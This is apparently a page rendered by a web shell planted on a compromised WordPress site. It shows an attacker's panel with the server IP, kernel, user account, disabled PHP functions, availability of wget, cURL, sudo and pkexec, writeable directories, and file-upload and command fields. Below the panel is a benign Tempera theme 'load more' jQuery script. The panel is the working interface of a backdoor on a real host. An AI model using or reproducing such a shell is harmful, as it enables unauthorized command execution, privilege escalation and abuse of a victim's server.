403Webshell
Server IP : 62.173.141.34  /  Your IP : 216.73.217.88
Web Server : Apache/2.4.63 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux server7.msonline.ru 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : izihss ( 1005)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/izihss/web/izihss.ru/public_html/wp-content/themes/tempera/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/izihss/web/izihss.ru/public_html/wp-content/themes/tempera/js//ajax.js
jQuery(document).ready(function($) {
	/* The number of the next page to load (/page/x/). */
	var page_number_next = parseInt(cryout_ajax_more.page_number_next);
	
	/* The maximum number of pages the current query can return. */
	var page_number_max = parseInt(cryout_ajax_more.page_number_max);
	
	/* The link of the next page of posts. */
	var page_link_model = cryout_ajax_more.page_link_model;
	/**
	 * Replace the traditional navigation with our own,
	 * but only if there is at least one page of new posts to load.
	 */
	if(page_number_next <= page_number_max) {
		/* Insert the "More Posts" link. */
		$(cryout_ajax_more.content_css_selector)
			.append('<div id="cryout_ajax_more_placeholder_'+ page_number_next +'"></div>')
			.append('<div id="cryout_ajax_more_trigger">{loadmore}</div>'.replace('{loadmore}', cryout_ajax_more.load_more_str));
			
		/* Remove the traditional navigation. */
		$(cryout_ajax_more.pagination_css_selector).remove();
	}
		
	/**
	 * Load new posts when the link is clicked.
	 */
	$('#cryout_ajax_more_trigger').click(function() {
	    /* Loading gif */
		$(this).addClass('cryout_click_loading');
		
		if(page_number_next <= page_number_max) {
			
			/* Get the link for the next page to load */
			var next_link = page_link_model.replace(/9999999/, page_number_next);
				
			/* Load the next page - only .post class */
			$('#cryout_ajax_more_placeholder_'+ page_number_next).load(next_link + ' .post',
				function() {
					/* Small fade in animation for each .post */
					$('#cryout_ajax_more_placeholder_'+ page_number_next +' .post').fitVids().hide().each(function( index ) {
						$(this).delay(200*index).fadeIn('slow');			
					});
					/* Removal of loading gif */
					$('#cryout_ajax_more_trigger').removeClass('cryout_click_loading');
					
					/* Update page number and next_link. */					
					page_number_next++;
					
					/* Add a new placeholder, for when user clicks again. */
					$('#cryout_ajax_more_trigger')
						.before('<div id="cryout_ajax_more_placeholder_'+ page_number_next +'"></div>');
					/* Debugging */
					/* alert ('Next page link= '+page_link_model+'| Next number= '+page_number_next+'| Max pages= '+page_number_max); */
					/* Remove the button when there are no more posts to load. */
					if(page_number_next > page_number_max) {
						$('#cryout_ajax_more_trigger').remove();
					} 
				}
			);
			
		}
		return false;
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit